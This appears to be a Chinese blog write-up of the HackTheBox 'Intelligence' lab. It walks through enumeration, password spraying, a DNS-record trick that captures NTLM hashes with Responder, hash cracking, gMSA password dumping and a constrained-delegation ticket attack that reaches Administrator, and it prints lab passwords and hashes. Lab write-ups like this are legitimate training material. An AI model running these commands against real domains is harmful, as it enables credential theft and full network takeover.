HackTheBox-Intelligence WP

2024-02-01 06:20
文章标签 wp intelligence hackthebox

本文主要是介绍HackTheBox-Intelligence WP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 端口探测


使用nmap对靶机进行探测:

nmap -sV -sC 10.10.10.248

image-20210930211850122


比较标准的DC端口,还多了个WEB的80。



0x02 user.txt

进WEB看看,发现在主页目录可以下载文档。主页能下载的文档文件名为2020-01-01-upload.pdf

image-20211008103916590


image-20211008104103851



遂写了脚本进行爆破,将所有的文档下载下来:

import requestsfor month in range(1, 13):for day in range(1, 32):file_name = "2020-%02d-%02d-upload.pdf" % (month, day)resp = requests.get("http://10.10.10.248/documents/" + file_name)if resp.status_code == 200:print(file_name)with open(file_name, "wb") as f:f.write(resp.content)

image-20211008104214464



其中,大多数文档都是无意义的填充文字,为了避免一个个看过去,写了个脚本提取文字:

# 安装  pip install pdfplumber
import pdfplumber
import sys
# 利用pdfplumber提取文字
file = sys.argv[1]
with pdfplumber.open(file) as pdf:first_page = pdf.pages[0]print(file)print(first_page.extract_text())print()     

将脚本保存为extract.py,该脚本使用方式为python3 extract.py 2020-01-01-upload.pdf,为了批量处理需要配合shell命令进行使用。

for i in $(ls | grep pdf) ; do python3 extract.py  $i ; done > text_extract.txt

查看提取出的文字,对一些字段进行搜索,可以看到在搜索pass时能够看到初始密码:

image-20211001110440842



有了密码,我们还需要用户名才能进行登录,使用工具exiftool查看用户名:

image-20211008104808719



2020-06-04-upload.pdf的用户名不能登陆,所以我们需要提取所有的用户名:

for i in $(ls) ; do exiftool $i| grep Creator |awk -F: '{print $2}'; done

image-20211008105032513



将所有的用户名保存为username.txt,使用crackmapexec进行密码喷洒攻击:

crackmapexec smb 10.10.10.248 -u username.txt -p "NewIntelligenceCorpUser9876" 

最终爆破得到如下信息:

image-20211001124730527



domain = intelligence.htb
username = Tiffany.Molina
password = NewIntelligenceCorpUser9876

连上smb翻一下文件,能够找到一个downdetector.ps1,我们将这个文件下载下来:

smbclient -L //10.10.10.248 -U Tiffany.Molina
╭─root@kali ~/下载/pdf 
╰─# smbclient -L //10.10.10.248 -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: Sharename       Type      Comment---------       ----      -------ADMIN$          Disk      Remote AdminC$              Disk      Default shareIPC$            IPC       Remote IPCIT              Disk      NETLOGON        Disk      Logon server share SYSVOL          Disk      Logon server share Users           Disk      
SMB1 disabled -- no workgroup available╭─root@kali ~/下载/pdf 
╰─# smbclient  //10.10.10.248/IT -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir.                                   D        0  Mon Apr 19 08:50:55 2021..                                  D        0  Mon Apr 19 08:50:55 2021downdetector.ps1                    A     1046  Mon Apr 19 08:50:55 20213770367 blocks of size 4096. 1460376 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)╭─root@kali ~/下载/pdf 
╰─# smbclient  //10.10.10.248/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

然后顺手拿个user的flag:

image-20211001130336719




0x03 root.txt

查看downdetector.ps1,内容如下:

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {try {$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentialsif(.StatusCode -ne 200) {Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"}} catch {}
}

结合文件名,我们可以推测该脚本的作用。每五分钟,该脚本会查找以“web”开头的域内二级站点,并使用Ted的凭据为每条找到的记录发送HTTP请求。(使用-UseDefaultCredentials选项)如果服务器没有返回200 OK状态码,则会向Ted发送一封邮件。


发送邮件不是我们关心的内容,重要的是HTTP请求带上了用户的凭据信息,我们可以插入一条相对应的DNS记录,指向自己的机子,这样就能拿到Ted.Graves的凭据信息了:

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'websucks.intelligence.htb' -d 10.10.14.27 10.10.10.248

image-20211005161234902



之后开启responder,监听vpn的网卡,等最多5分钟就能拿到Ted.Graves的NTLMv2 Hash:

responder -I tun0

image-20211005161628128



使用netcat进行爆破,最后能够拿到Ted.Graves的密码为Mr.Teddy:

hashcat -m 5600 -a 0 hash "E:\path\pass_en.txt" # 这里的字典就是rockyou.txt

image-20211005162018451



但是登上去后,并没有任何更多的信息,所以不是smb这条路,我们需要换一条思路:

image-20211005162902520



回去翻翻pdf,在最后一条能够发现一些提示信息:

image-20211005165904813



也就是说,此时此刻服务账户是未被锁定的。

看看ldap信息,使用ldapdomaindump导出所有ldap信息:

ldapdomaindump  -u "intelligence.htb\TED.GRAVES" -p "Mr.Teddy" intelligence.htb

image-20211008110726034



一个个看过去,首先在domain_computers中就能发现一个不同寻常的账户svc_int,它还配置了约束委派的标志位:

image-20211008110856112



对该机器账户进行更详细的信息收集,使用powersploit的powerview模块,参考:

PS > $SecPassword = ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force  
PS > $Cred = New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES', $SecPassword)
PS > Get-DomainComputer -Domain intelligence.htb -Credential $Cred -Server 10.10.10.248 svc_int

得到信息如下:

pwdlastset                     : 2021/10/7 21:28:38
logoncount                     : 0
badpasswordtime                : 1601/1/1 8:00:00
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname              : CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectclass                    : {top, person, organizationalPerson, user...}
name                           : svc_int
objectsid                      : S-1-5-21-4210132550-3389855604-3437519686-1144
msds-groupmsamembership        : {1, 0, 4, 128...}
localpolicyflags               : 0
codepage                       : 0
samaccounttype                 : MACHINE_ACCOUNT
accountexpires                 : NEVER
countrycode                    : 0
whenchanged                    : 2021/10/7 13:28:38
instancetype                   : 4
usncreated                     : 12846
objectguid                     : f180a079-f326-49b2-84a1-34824208d642
msds-managedpasswordid         : {1, 0, 0, 0...}
msds-allowedtodelegateto       : WWW/dc.intelligence.htb
samaccountname                 : svc_int$
objectcategory                 : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
dscorepropagationdata          : 1601/1/1 0:00:00
msds-managedpasswordinterval   : 30
lastlogon                      : 1601/1/1 8:00:00
badpwdcount                    : 0
cn                             : svc_int
useraccountcontrol             : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                    : 2021/4/19 0:49:58
primarygroupid                 : 515
iscriticalsystemobject         : False
msds-supportedencryptiontypes  : 28
usnchanged                     : 102507
lastlogoff                     : 1601/1/1 8:00:00
dnshostname                    : svc_int.intelligence.htb

从objectcategory中我们可以看出,该账户是一个GMSA(Group Managed Service Accounts)账户,详见官方文档:

image-20211008111335821



在PayloadsAllTheThings中,我们能发现对GMSA账户的利用方法:

image-20211008111737837



尝试进行利用,很幸运地读到了该账户的密码(因为我们的Ted用户是itsupport组的成员之一):

╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# python3 gMSADumper.py -u TED.GRAVES -p Mr.Teddy -d intelligence.htbUsers or groups who can read password for svc_int$:> DC$> itsupport
svc_int$:::d170ae19de30439df55d6430e12dd621

之后便可以进行约束委派攻击了,但首先我们需要校准时间,否则Kerberos会报错:

╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

使用ntpdate进行校正:

╭─root@kali ~/下载 
╰─# ntpdate dc.intelligence.htb 8 Oct 05:36:13 ntpdate[43971]: step time server 10.10.10.248 offset +25196.736528 sec

然后再拿Service Ticket:

╭─root@kali ~/下载 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执 行 DCSync。

export后使用impacket中的smbclient模块登录拿flag即可:

export KRB5CCNAME=Administrator.ccache
impacket-smbclient intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass

image-20211008095012419

这篇关于HackTheBox-Intelligence WP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/666326

相关文章

AI基础 L1 Introduction to Artificial Intelligence

什么是AI Chinese Room Thought Experiment 关于“强人工智能”的观点,即认为只要一个系统在行为上表现得像有意识,那么它就真的具有理解能力。  实验内容如下: 假设有一个不懂中文的英语说话者被关在一个房间里。房间里有一本用英文写的中文使用手册,可以指导他如何处理中文符号。当外面的中文母语者通过一个小窗口传递给房间里的人一些用中文写的问题时,房间里的人能够依

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

WordPress 后台缓存插件:WP Admin Cache提高缓存页面

使用WordPress建站会安装一些静态缓存插件,比如:WP Rocket、Cache Enabler、Comet Cache、W3 Total Cache、WP Super Cache、WP Fastest Cache、Hyper Cache等等,这些都用于缓存前端。 今天介绍一款专门用于缓存后台的插件:WP Admin Cache。 启用后,提速效果还是很明显,比如后台所有文章页面秒开

具身智能(Embodied Intelligence)概述

目录 一、引言  二、具身感知 三、具身交互 四、具身智能体   五、虚拟到现实  一、引言  最近无论是斯坦福机器人炒虾,还是特斯拉官宣机器人进厂,都赚足了眼球,实力证明了具身智能(Embodied Intelligence)的火爆。 先不说具身智能是实现AGI的关键环节,也是未来研究的重要方向,从发论文的角度来看,今年的各大顶会,比如CVPR,具身智能就排了热门研究领域

玄机——第九章-Where-1S-tHe-Hacker wp

文章目录 一、前言二、概览三、参考文章四、步骤(解析)准备步骤#1.0步骤#1通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交; 步骤#2通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33); 步骤#3通过本地 PC RDP到服务器并且找到黑客第一个websh

HackTheBox-MonitorsThree【更新中】

总体思路 信息收集&端口利用 nmap -p1-10000 monitorsthree.htb 目标主要开放了22和80端口,还有一个8084的websnp端口 先看80端口,是一个产品界面,介绍了他们的一些防火墙、网络解决方案等等 注意到界面中有一个登录按钮,点击查看 在尝试弱口令和万能密码无果后,看到下方还存在一个忘记密码的界面,打开它 这里提示我们需要输入用户

wp-autopost-pro 3.7.8最新完美版

插件简介: 插件是wp-autopost-pro 3.7.8最新版本。 采集插件适用对象 1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容; 2、热点内容自动采集并自动发布; 3、定时采集,手动采集发布或保存到草稿; 4、css样式规则,能更精确的采集需要的内容。 5、伪原创与翻译、代理IP进行采集、保存Cookie记录; 6、可采集内容到自定义栏目 代码下载

玄机——第九章-Where-1S-tHe-Hacker-part2 wp

文章目录 一、前言二、概览三、参考文章四、步骤准备步骤#1.0步骤#11.最早的WebShell落地时间是(时间格式统一为:2022/12/12/2:22:22); 步骤#22.黑客最早的WebShell密码是多少,将WebShell密码作为Flag值提交; 步骤#33.CobaltStrike木马被添加进计划任务的时间是 步骤#44.黑客启用并添加进管理员组的用户与时间是 答案格式:Use

攻防世界-web题型-7星难度汇总-个人wp

Web_php_wrong_nginx_config 这个题目nginx配置错误 随便输入显示网站还没建设好。。。 先信息收集一下 换了个无敌好看的终端 没想到7星了还玩这些。。。 看了admin的页面需要先登录 现在的问题是如果读取到这个文件 这个hack的文件也没有东西 到此就不知道了,看wp 没想到在hack的cookie里,我看了cookie我当时看到l

攻防世界-web题型-8星难度汇总-个人wp

Triangle 2024/02/21 15:19 粗略看了一下应该是一个前端的is验证的情况 这几个函数都在secret.js里面 要js逆向废了 相当麻烦我先看一看wp 看了wp确定是js逆向还有涉及一个unicorn,看了介绍的文章是用来仿真CPU架构的,可以加快资源的加载吧好像是。 看代码if(test_pw(enc, pw) == 1){         alert('